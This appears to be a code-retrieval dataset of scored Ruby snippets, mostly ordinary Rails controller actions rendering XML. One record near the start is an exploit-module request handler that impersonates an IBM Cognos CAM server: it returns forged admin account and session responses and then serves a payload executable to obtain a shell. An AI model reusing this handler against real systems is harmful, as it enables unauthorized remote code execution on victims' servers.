URI.parse(\"http://www.esmadrid.com/opendata/turismo_v1_es.xml\")\r\n\t\tresponse = Net::HTTP.get_response(uri)\r\n\t\tcontent = response.body\r\n\r\n\t\txml = REXML::Document.new(content)\r\n\r\n\t\treturn xml\r\n\tend", "title": "" }, { "docid": "328084144e8eb954067fad34e3ce77f6", "score": "0.5891313", "text": "def index\n services = (\"Service::\" + params[:type]).constantize.get_available(:all)\n render :xml => services.to_xml(:root => :services, :except => :config)\n end", "title": "" }, { "docid": "6d5811b30710570c2adb533b6c9c759e", "score": "0.58902687", "text": "def show\n @otml_file = OtrunkExample::OtmlFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @otml_file }\n end\n end", "title": "" }, { "docid": "159a7c6dce7635b268a4d8bc17062588", "score": "0.5879594", "text": "def index\n @tipospoblaciones = Tipospoblacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tipospoblaciones }\n end\n end", "title": "" }, { "docid": "28f855a4ba8b0cf924d8db76af24c62b", "score": "0.58785087", "text": "def index\n provider = WorkOaiProvider.new\n response = provider.process_request(oai_params.to_h)\n render :body => response, :content_type => 'text/xml'\n end", "title": "" }, { "docid": "e7619e6adac8fbea6222a30db984355a", "score": "0.587268", "text": "def show\n @soon = Soon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @soon }\n end\n end", "title": "" }, { "docid": "c199ea2db35c931c9c43f5ad07d483be", "score": "0.58635163", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @avances_programaticos }\n end\n end", "title": "" }, { "docid": "a551f267ebfec7eaa3f65cc5942e0728", "score": "0.58630407", "text": "def show\n @pia_ocotal = PiaOcotal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pia_ocotal }\n end\n end", "title": "" }, { "docid": "36699270534b2a1f26241d190e731862", "score": "0.58572614", "text": "def on_request_uri(cli, request)\r\n xml_res = %{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:ns1=\"http://developer.cognos.com/schemas/dataSourceCommandBlock/1/\" xmlns:bus=\"http://developer.cognos.com/schemas/bibus/3/\" xmlns:cm=\"http://developer.cognos.com/schemas/contentManagerService/1\" xmlns:ns10=\"http://developer.cognos.com/schemas/indexUpdateService/1\" xmlns:ns11=\"http://developer.cognos.com/schemas/jobService/1\" xmlns:ns12=\"http://developer.cognos.com/schemas/metadataService/1\" xmlns:ns13=\"http://developer.cognos.com/schemas/mobileService/1\" xmlns:ns14=\"http://developer.cognos.com/schemas/monitorService/1\" xmlns:ns15=\"http://developer.cognos.com/schemas/planningAdministrationConsoleService/1\" xmlns:ns16=\"http://developer.cognos.com/schemas/planningRuntimeService/1\" xmlns:ns17=\"http://developer.cognos.com/schemas/planningTaskService/1\" xmlns:ns18=\"http://developer.cognos.com/schemas/reportService/1\" xmlns:ns19=\"http://developer.cognos.com/schemas/systemService/1\" xmlns:ns2=\"http://developer.cognos.com/schemas/agentService/1\" xmlns:ns3=\"http://developer.cognos.com/schemas/batchReportService/1\" xmlns:ns4=\"http://developer.cognos.com/schemas/dataIntegrationService/1\" xmlns:ns5=\"http://developer.cognos.com/schemas/dataMovementService/1\" xmlns:ns6=\"http://developer.cognos.com/schemas/deliveryService/1\" xmlns:ns7=\"http://developer.cognos.com/schemas/dispatcher/1\" xmlns:ns8=\"http://developer.cognos.com/schemas/eventManagementService/1\" xmlns:ns9=\"http://developer.cognos.com/schemas/indexSearchService/1\">\r\n <SOAP-ENV:Body SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <cm:queryResponse>\r\n <result baseClassArray xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"tns:baseClass[1]\">\r\n PLACEHOLDER\r\n </result>\r\n </cm:queryResponse>\r\n </SOAP-ENV:Body>\r\n </SOAP-ENV:Envelope>}\r\n\r\n session =\r\n %Q{ <item xsi:type=\"bus:session\">\r\n <identity>\r\n <value baseClassArray xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"tns:baseClass[1]\">\r\n <item xsi:type=\"bus:account\">\r\n <searchPath><value>admin</value></searchPath>\r\n </item>\r\n </value>\r\n </identity>\r\n </item>}\r\n\r\n account =\r\n %Q{ <item xsi:type=\"bus:account\">\r\n <defaultName><value>admin</value></defaultName>\r\n </item>}\r\n\r\n headers = { \"SOAPAction\" => '\"http://developer.cognos.com/schemas/contentManagerService/1\"'}\r\n if request.body.include? \"<searchPath>/</searchPath>\"\r\n print_good(\"CAM: Received first CAM query, responding with account info\")\r\n response = xml_res.sub('PLACEHOLDER', account)\r\n elsif request.body.include? \"<searchPath>~~</searchPath>\"\r\n print_good(\"CAM: Received second CAM query, responding with session info\")\r\n response = xml_res.sub('PLACEHOLDER', session)\r\n elsif request.body.include? \"<searchPath>admin</searchPath>\"\r\n print_good(\"CAM: Received third CAM query, responding with random garbage\")\r\n response = rand_text_alpha(5..12)\r\n elsif request.method == \"GET\"\r\n print_good(\"CAM: Received request for payload executable, shell incoming!\")\r\n response = @pl\r\n headers = { \"Content-Type\" => \"application/octet-stream\" }\r\n else\r\n response = ''\r\n print_error(\"CAM: received unknown request\")\r\n end\r\n send_response(cli, response, headers)\r\n end", "title": "" }, { "docid": "6e644a79fa96cab62a6899e1ee376515", "score": "0.584932", "text": "def show\n @obrasproyecto = Obrasproyecto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @obrasproyecto }\n end\n end", "title": "" }, { "docid": "3788ec33a5994573dfe1abd27777ef66", "score": "0.5834628", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @avance_programatico }\n end\n end", "title": "" }, { "docid": "63f1e1d775220095535cbb138eaa4a69", "score": "0.58283854", "text": "def show\n @tipos = Tipo.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tipos }\n end\n end", "title": "" }, { "docid": "bcaf62b20115f596dfe3f3b14828ccc0", "score": "0.58282644", "text": "def show\n @historial_peso = HistorialPeso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historial_peso }\n end\n end", "title": "" }, { "docid": "56c4029a4d91d576a273fdf350e9de6d", "score": "0.5826734", "text": "def show\n @orgao = Orgao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @orgao }\n end\n end", "title": "" }, { "docid": "3a5c9be35fddd3e536378d18f24783a2", "score": "0.58140516", "text": "def index\n @nodes = @nodes.page(params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end", "title": "" }, { "docid": "d3cfe6bbad09f2b0cacb8897a98f8e52", "score": "0.5798852", "text": "def index\n @alunos = Aluno.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alunos }\n end\n end", "title": "" }, { "docid": "d3cfe6bbad09f2b0cacb8897a98f8e52", "score": "0.5798852", "text": "def index\n @alunos = Aluno.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alunos }\n end\n end", "title": "" }, { "docid": "2294e5814164e41b2e8979d7c3d67a3d", "score": "0.5792054", "text": "def index\n @vehiculos = Vehiculo.all\n \n cadena = getvehiculos(@vehiculos) \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => cadena }\n end\n end", "title": "" }, { "docid": "fcfdc08e3fa4db2bfdca33d3308b844e", "score": "0.5787189", "text": "def opciones\n @sitio = Sitio.find(params[:id])\n respond_to do |format|\n format.html # opciones.html.erb\n format.xml { render :xml => @sitio }\n end\n end", "title": "" }, { "docid": "fcfdc08e3fa4db2bfdca33d3308b844e", "score": "0.5787189", "text": "def opciones\n @sitio = Sitio.find(params[:id])\n respond_to do |format|\n format.html # opciones.html.erb\n format.xml { render :xml => @sitio }\n end\n end", "title": "" }, { "docid": "b7f7ed660f8249401fdde523054d0aad", "score": "0.5785368", "text": "def show\n @tipo_osexterna = TipoOsexterna.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tipo_osexterna }\n end\n end", "title": "" }, { "docid": "7682549779b8eecf27a4cd80f9edc99b", "score": "0.57845664", "text": "def show\n @lcotiza = Lcotiza.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lcotiza }\n end\n end", "title": "" }, { "docid": "76d6b3a5af6a8563645823d3a05491c5", "score": "0.5782089", "text": "def show\n @historia = Historia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historia }\n end\n end", "title": "" }, { "docid": "228ca8b2bbe73248867fad973042dc40", "score": "0.5778803", "text": "def show\n @historico = Historico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historico }\n end\n end", "title": "" }, { "docid": "fbd2dcb1860199ccb63c15a5a99c4e27", "score": "0.57786036", "text": "def index\r\n @apertura_caja = AperturaCaja.find(params[:apertura_caja_id])\r\n @boleta_depositos = @apertura_caja.boleta_depositos\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @boleta_depositos }\r\n end\r\n end", "title": "" }, { "docid": "b33f427c5d215b968938e6d241043f1b", "score": "0.57754385", "text": "def show\n @estagiarios = Estagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end", "title": "" }, { "docid": "9f2ac274c91c09820ffc55ee39524532", "score": "0.5773325", "text": "def douban_get_xml url\n#\tputs url\n Nokogiri::HTML(open(url,'User-Agent' => 'ruby'),nil, \"utf-8\")\n #Nokogiri::HTML(open(url,:proxy => nil,'User-Agent' => 'ruby'),nil, \"utf-8\")\n\t\n\t#no network access, used to simulator \n\t#doc = File.read(File.join(RAILS_ROOT, \"app\",\"controllers\",\"event_sample.xml\"))\n\t#Nokogiri::HTML(doc,nil, \"utf-8\")\n #Nokogiri::HTML(open(url,:proxy => nil,'User-Agent' => 'ruby'),nil, \"utf-8\")\nend", "title": "" }, { "docid": "c25aabf91532b47eda4117fb7d2fcaaf", "score": "0.5759901", "text": "def listing(options={})\n path = \"\"\n options= {:query =>options}\n OodleResponse.from_xml(get(path, options))\n end", "title": "" }, { "docid": "6d923232bcfe8c4f0df6b2952173f666", "score": "0.57588494", "text": "def show\n\t\t@ano_letivo = AnoLetivo.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @ano_letivo }\n\t\tend\n\tend", "title": "" }, { "docid": "1fac45c88750c518632cb1104925e49c", "score": "0.5756528", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @metros }\n end\n end", "title": "" }, { "docid": "ad9ce7644b240a2f609e4aa6f319b212", "score": "0.57539916", "text": "def show\n @serie_cronologica = SerieCronologica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @serie_cronologica }\n end\n end", "title": "" }, { "docid": "235f7d2009e5684dee587db233ad19a5", "score": "0.5753519", "text": "def index\n @sitios = Sitio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sitios }\n end\n end", "title": "" }, { "docid": "45265ba73f1c7e43f0fccbe7576a80f0", "score": "0.57514745", "text": "def index\n cadena = getactividades(params[:id].to_i)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => cadena }\n end\n end", "title": "" }, { "docid": "8f0c2a56d3fc351d42268683d626401f", "score": "0.5749459", "text": "def show\n @kitaitoi = Kitaitoi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kitaitoi }\n end\n end", "title": "" }, { "docid": "48b9f1502a0b692e0b5d231bd18155d5", "score": "0.5746868", "text": "def show\n @estagiario = Estagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagiario }\n\n end\n end", "title": "" }, { "docid": "6cccd9cb3da498373cb4fce66a66dd3d", "score": "0.5746011", "text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @servico }\n end\n end", "title": "" }, { "docid": "6c7990aad9a0f237ca925fa9856d6e0b", "score": "0.5745253", "text": "def show\n @ruolo = Ruolo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ruolo }\n end\n end", "title": "" }, { "docid": "26cd6c64fd50f7cf2f9a243814af735f", "score": "0.57437944", "text": "def show\n @tipo_suelo = TipoSuelo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tipo_suelo }\n end\n end", "title": "" }, { "docid": "4dc928115c1bb526f5b224f658c184d7", "score": "0.5742739", "text": "def show\n @bolsista = Bolsista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bolsista }\n end\n end", "title": "" }, { "docid": "85727c4643f9e341ef75359db6399040", "score": "0.5736684", "text": "def index\n @operacoes = Operacao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @operacoes }\n end\n end", "title": "" }, { "docid": "78513ccbf89c075e113dad84ed4962ef", "score": "0.57279545", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @causa_egreso }\n end\n end", "title": "" }, { "docid": "79b81301a675586a59a039979e610182", "score": "0.57242894", "text": "def show\n @libro_visitum = LibroVisitum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @libro_visitum }\n end\n end", "title": "" }, { "docid": "cd57753d054edd4729a149ff38bc9b02", "score": "0.5712233", "text": "def index\n @questoes = Questao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questoes }\n end\n end", "title": "" }, { "docid": "27e04154c5db1568066583691b3c47fc", "score": "0.5711947", "text": "def index\n @autorizacions = Pedido.get_pedidos_sin_autorizacion()\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @autorizacions }\n end\n end", "title": "" }, { "docid": "422d207dc1ec852b578536eb46bfe420", "score": "0.57080466", "text": "def index\n @competence_nodes = CompetenceNode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @competence_nodes }\n end\n end", "title": "" }, { "docid": "b1d3eefad6358929666f31e67b589a96", "score": "0.5707363", "text": "def new\n @topogra = Topogra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topogra }\n end\n end", "title": "" }, { "docid": "314695c77105648e1f16751ba7a546ae", "score": "0.5704376", "text": "def show\n @logotipo = Logotipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @logotipo }\n end\n end", "title": "" }, { "docid": "f7a78983216fb86adfe18a194a3e8c49", "score": "0.5703428", "text": "def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @livro }\n end\n end", "title": "" }, { "docid": "86f414cf236b7f5f6fa5f3037d13ea8a", "score": "0.57023823", "text": "def show\n @liga = Liga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga }\n end\n end", "title": "" }, { "docid": "1a1f7a4436c1a0bdbdb5e190e7054159", "score": "0.5702235", "text": "def show\n @plato = Plato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plato }\n end\n end", "title": "" }, { "docid": "2a7298af4503f083df4cd138c86ae0bc", "score": "0.5701539", "text": "def show\n @servicios = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @servicios }\n end\n end", "title": "" }, { "docid": "c227096c3d3738fcf8d6b1f26c0cedf8", "score": "0.56941104", "text": "def index\n @boletos = Boleto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @boletos }\n end\n end", "title": "" }, { "docid": "d5f8d99d65b19a512b79d246f3375de2", "score": "0.56902295", "text": "def index\n respond_to do |format|\n format.xml\n end\n end", "title": "" }, { "docid": "4be5119142ca60fb4b83853b54bacb8b", "score": "0.5689378", "text": "def show\n @selo = Selo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @selo }\n end\n end", "title": "" }, { "docid": "b61ae47fe9e7a26de08415c2920b5857", "score": "0.5686943", "text": "def tonnerre \n \n @rr =params['id']\n @arret = params['sobriquet']\n ll = []\n if @rr \n repu = \"http://pt.data.tisseo.fr/departureBoard?stopPointId=\"+@rr+\"&key=a11d95b1a1e8ff54095e3d368bc6bc6ba\"\n asset1 = \"app/assets/xml/departs.xml\"\n selecteur = \"departure\"\n retourTrio = connecte(repu)\n xmlcompose = compose(asset1,retourTrio)\n ll = liste_finale(asset1,selecteur)\n @li = ll\n @xmlret = retard(\"19:12:03\",\"15:07:01\")\n else @xmlret = \"Station non desservie\"\n \n end \nend", "title": "" }, { "docid": "b41eabb5abc99b2f4227a85d9b5202bf", "score": "0.5686527", "text": "def show\n @roteiro = Roteiro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @roteiro }\n end\n end", "title": "" }, { "docid": "aaf0f92ab1e9b64e76d4f9f999c7142d", "score": "0.568646", "text": "def index\n @aviso = Aviso.find(params[:aviso_id])\n @comentarios = @aviso.comentarios.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comentarios }\n end\n end", "title": "" }, { "docid": "7cc0dd9b93337b785efad476ad723fbf", "score": "0.5685582", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cursos }\n end\n end", "title": "" }, { "docid": "9407915346a261b4a71114a88ecbce72", "score": "0.56849885", "text": "def index\n @relatorios = Relatorio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "title": "" }, { "docid": "d061f22f0162a2327f8034a3a9087e1d", "score": "0.5684145", "text": "def index\n @boleta_de_deposito = BoletaDeDeposito.find(params[:boleta_de_deposito_id])\n @boletas_de_depositos_detalles = @boleta_de_deposito.boletas_de_depositos_detalles\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @boletas_de_depositos_detalles }\n end\n end", "title": "" }, { "docid": "26bc4db5faa4d76da3b8c628cd8a875e", "score": "0.5682362", "text": "def index\n @servicos = Servico.find(:all, :order => \"nome, valor\")\n @apartamento = Apartamento.find(params[:ap])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @servicos }\n end\n end", "title": "" }, { "docid": "38300bd122eaaf102fed355250b2a6e8", "score": "0.5681892", "text": "def show\n @platoon = Platoon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @platoon }\n end\n end", "title": "" }, { "docid": "73e5de3e1e3cae2fd87bf70fe0aeac0a", "score": "0.5680686", "text": "def show\n @pelicula = Pelicula.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pelicula }\n end\n end", "title": "" }, { "docid": "95cbd168b855e9a47f6712bd75415870", "score": "0.56777215", "text": "def show\n @lot_product = LotProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lot_product }\n end\n end", "title": "" }, { "docid": "af72e71c5a60caac5a21cc49a26f5633", "score": "0.56723636", "text": "def show\n @appunto_riga = AppuntoRiga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @appunto_riga }\n end\n end", "title": "" }, { "docid": "b2069cc1c3a228f7167cb5be372a1d96", "score": "0.5667553", "text": "def show\n @historique = Historique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @historique }\n end\n end", "title": "" }, { "docid": "cd2a9895c985f457b19058d6207c2ecc", "score": "0.5660855", "text": "def index\n @tipos_de_restaurantes = TiposDeRestaurante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tipos_de_restaurantes }\n end\n end", "title": "" }, { "docid": "06cf7809aba4ba06f6d003c6232b13ad", "score": "0.5659377", "text": "def index\n @generaciones = Generacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @generaciones }\n end\n end", "title": "" }, { "docid": "75cbcf56e70b6f05f18bf63abd4293fd", "score": "0.56572956", "text": "def index\n self.class.get(\"/cards/index.xml\");\n end", "title": "" }, { "docid": "59798f20412a17e2001aac8eca6b95b6", "score": "0.5652081", "text": "def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asiento }\n end\n end", "title": "" }, { "docid": "038f3246b07c06435e1fbb0d7f1745fa", "score": "0.56456196", "text": "def read(id=nil)\r\n\t\trequest = Net::HTTP.new(@uri.host, @uri.port)\r\n\r\n\t\tif id.nil?\r\n\t\t\tresponse = request.get(\"#{@uri.path}.xml\")\r\n\t\telse\r\n\t\t\tresponse = request.get(\"#{uri.path}/#{id}.xml\")\r\n\t\tend\r\n\r\n\t\tresponse.body\r\n\tend", "title": "" }, { "docid": "f267e7417c083833bd5adec02a70b82c", "score": "0.5641905", "text": "def index\n @catalogo_accions = CatalogoAccion.all.paginate(:page => params[:page], :per_page => 15)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @catalogo_accions }\n end\n end", "title": "" }, { "docid": "f66bf040835c9dd594b69359194af6d9", "score": "0.5641553", "text": "def request\n #server = Net::HTTP.new(\"eCommerce.airborne.com\", 443)\n server = Net::HTTP.new(\"eCommerce.airborne.com\", 80)\n #path = \"/ApiLandingTest.asp\"\n path = \"/ApiLanding.asp\"\n data = @xml.to_s\n File.open('/home/david/Desktop/dhl_intl.xml', 'w') do |f|\n f.puts data\n end\n headers = { \"Content-Type\" => \"text/xml\"}\n #server.use_ssl = true\n resp = server.post(path, data, headers)\n price = parse_response(resp.body)\n end", "title": "" }, { "docid": "b23ac5d1e1fa78f0c77cd26fd66914dc", "score": "0.5638404", "text": "def show\n @equipamento = Equipamento.all\n respond_to do |format|\n format.html\n format.json {render json: @arduino}\n format.xml {render xml: @arduino}\n end\n end", "title": "" } ]
a78f6f6e07e1f2d38ebea42fd2e5a7a9
name : name of entry. e.g. "CVE20162034" date_str : date of update e.g. '20160308'
[ { "docid": "702f7eb8f4095964999b00cc5ef83f13", "score": "0.67957467", "text": "def on_entry_str(name, date_str, str, ext)\n\n return if ext == 'xml' && @enable_xml === false\n\n year = NvdFileSystem::year_from_name(name)\n\n path = \"#{@nvdfs.root_path}/#{year}\"\n Dir.mkdir path unless Dir.exist? path\n path += \"/#{name}\"\n Dir.mkdir path unless Dir.exist? path\n\n # write dated file\n\n file = \"#{path}/#{date_str}.#{ext}\"\n begin\n File.open(file,\"wb\") {|f| f.write(str) }\n rescue Exception => ex\n str=\"unable to write to file #{file}\"\n puts str\n end\n\n # write entry.xml - used as most recent\n\n# file = \"#{path}/entry.#{ext}\"\n# begin\n# File.open(file,\"wb\") {|f| f.write(str) }\n# rescue Exception => ex\n# str=\"unable to write to file #{file}\"\n# puts str\n# end\n\n# puts \"path=#{path} #{str.length} bytes #{ext}\"\n end", "title": "" } ]
[ { "docid": "d6a752e5c09c93d07e06bfdd6be33b00", "score": "0.57190406", "text": "def on_entry_json(name, date_str, json_string)\n on_entry_str(name, date_str, json_string, \"json\")\n end", "title": "" }, { "docid": "66d4218038af9f2e19f3663c6376732d", "score": "0.5691615", "text": "def update!(**args)\n @date_str = args[:date_str] if args.key?(:date_str)\n @pub_type = args[:pub_type] if args.key?(:pub_type)\n end", "title": "" }, { "docid": "dd22433e176e26d31fec3a3449db6dfa", "score": "0.55895996", "text": "def updated_date\n extractor = MarcExtractor.new(\"907b\", :first => true)\n lambda do |record, acc|\n datestr = extractor.extract(record).first\n begin\n date = Date.strptime(datestr, \"%m-%d-%y\")\n acc << solr_date(date)\n rescue ArgumentError\n yell.debug \"Unable to parse datestr #{datestr}\"\n end\n end\n end", "title": "" }, { "docid": "b27e263d2bf5ab5dc4695ca6d14067a5", "score": "0.551973", "text": "def name\n revision_data[\"name\"]\n end", "title": "" }, { "docid": "2ecc1c4061795b67d275e7af9d1d77dd", "score": "0.54707044", "text": "def name(str)\n @name = str\n end", "title": "" }, { "docid": "aa3b0efc00e2a375bcbab2229b605d6c", "score": "0.5457825", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @time_s = args[:time_s] if args.key?(:time_s)\n end", "title": "" }, { "docid": "9fd64df6934f538b281a1f083028c322", "score": "0.5432519", "text": "def determine_name\n self.name = \"#{start_date.strftime('%b %d')} - #{end_date.strftime('%b %d, %Y')}\"\n end", "title": "" }, { "docid": "f87cd498cbd1382cd5c0ab761f945d18", "score": "0.54278433", "text": "def _update_date\n all_characters[(content_offset + 2)*characters_per_word, 8].join\n end", "title": "" }, { "docid": "b1341f2dccb6db81c9de29d5cac7f6ca", "score": "0.53919166", "text": "def get_taric_update_name(event)\n info \"Checking for TARIC update for #{event.payload[:date]} at #{event.payload[:url]}\"\n end", "title": "" }, { "docid": "31bd2073fc2181c3ff5371c2ed1de25d", "score": "0.53880733", "text": "def update!(**args)\n @date = args[:date] if args.key?(:date)\n @description = args[:description] if args.key?(:description)\n end", "title": "" }, { "docid": "bc9b2ddd6832885b61ccf5034af071ac", "score": "0.53853774", "text": "def event_date(event_name)\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(event_name)}/)[0].text\n end", "title": "" }, { "docid": "9fcc724a6b2515e1cb5ca969e2a3bffe", "score": "0.5377256", "text": "def released_on=date\n super Date.strptime(date, '%m/%d/%Y') #Converts the string entered in the form to be formatted to a date\n end", "title": "" }, { "docid": "539b3930fb537cffdcccdcc4af1e351e", "score": "0.5371216", "text": "def parse_new_name\n return unless @new_name\n raise 'new_name field contains an existing resource name.' if @resource_type.new(@client, name: @new_name).retrieve!\n @data['name'] = @new_name\nend", "title": "" }, { "docid": "2a6d426220eca4d9451862c53c88d39d", "score": "0.53643745", "text": "def initialize( name, date=Date.today.strftime(\"%D\") )\n @name = name\n @date = date\n end", "title": "" }, { "docid": "7592283f02232acb0389f7c3221cee2e", "score": "0.5357062", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "ea723cbef866e16bd7833a7f9a510010", "score": "0.5278045", "text": "def update!(**args)\n @date = args[:date] if args.key?(:date)\n end", "title": "" }, { "docid": "ea723cbef866e16bd7833a7f9a510010", "score": "0.5278045", "text": "def update!(**args)\n @date = args[:date] if args.key?(:date)\n end", "title": "" }, { "docid": "1b85732629afe9c20fff3fee17f3dccd", "score": "0.52507037", "text": "def add_entry(product_name, date, price, latest)\n new_entry = ProductData.new(price, date)\n\n new_entry.price /= DENOMINATION_RATE if date.year < DENOMINATION_YEAR\n\n product_name = product_name.to_s.squeeze(' ')\n reg_exp = /^[\\dA-Z_]+$/\n product_name = product_name.gsub(reg_exp, '')\n @dictionary[product_name] = [] unless @dictionary.key?(product_name)\n @dictionary[product_name] << new_entry\n @latest_dictionary[product_name] = new_entry if latest\n end", "title": "" }, { "docid": "f952833cda1c7fd77c31314910cc76d2", "score": "0.5248304", "text": "def str_to_entry(str)\n str\n end", "title": "" }, { "docid": "3045d40f88357514a1ad1ae6ea044ae1", "score": "0.52482486", "text": "def update!(**args)\n @new_name = args[:new_name] if args.key?(:new_name)\n @prev_name = args[:prev_name] if args.key?(:prev_name)\n end", "title": "" }, { "docid": "3a146963724e20d67abd51d5f03c570c", "score": "0.52316254", "text": "def update!(**args)\n @last_update_time = args[:last_update_time] if args.key?(:last_update_time)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "1ae8a4212322afd46d7988fed55d91f6", "score": "0.5225541", "text": "def add_name(name, start_date: nil, end_date: nil, note: nil)\n data = {name: name}\n if start_date\n data[:start_date] = start_date\n end\n if end_date\n data[:end_date] = end_date\n end\n if note\n data[:note] = note\n end\n if name.present?\n @other_names << data\n end\n end", "title": "" }, { "docid": "8320010e9a80fc268cdea18faaaf4f22", "score": "0.5222633", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @etag = args[:etag] if args.key?(:etag)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "title": "" }, { "docid": "e1aae68c8da13f78a4e8d9bdb133a31d", "score": "0.5194805", "text": "def process(name)\n m, cats, date, slug, ext = *name.match(MATCHER)\n self.date = Time.parse(date)\n self.slug = slug\n self.ext = ext\n end", "title": "" }, { "docid": "b940c0b325e94ebf98fa6369d59d169f", "score": "0.5193773", "text": "def release_name\n return nil unless @data['name'] && @data['version']\n [ dashed_name, @data['version'] ].join('-')\n end", "title": "" }, { "docid": "73e07ed5f7b78493bd884cf4b685b4e6", "score": "0.5192538", "text": "def date_str\n date.strftime(\"%Y%m%d\")\n end", "title": "" }, { "docid": "d23cf8755d9fcc20e0807ab86da0cbd9", "score": "0.51642895", "text": "def date(name)\n input(name + \"_m\", 2, 2) + \"&nbsp;/&nbsp;\" +\n input(name + \"_d\", 2, 2) + \"&nbsp;/&nbsp;\" +\n input(name + \"_y\", 4, 4)\n end", "title": "" }, { "docid": "6e8ec0abf7a098ed2c8b5cdfbc33ebe6", 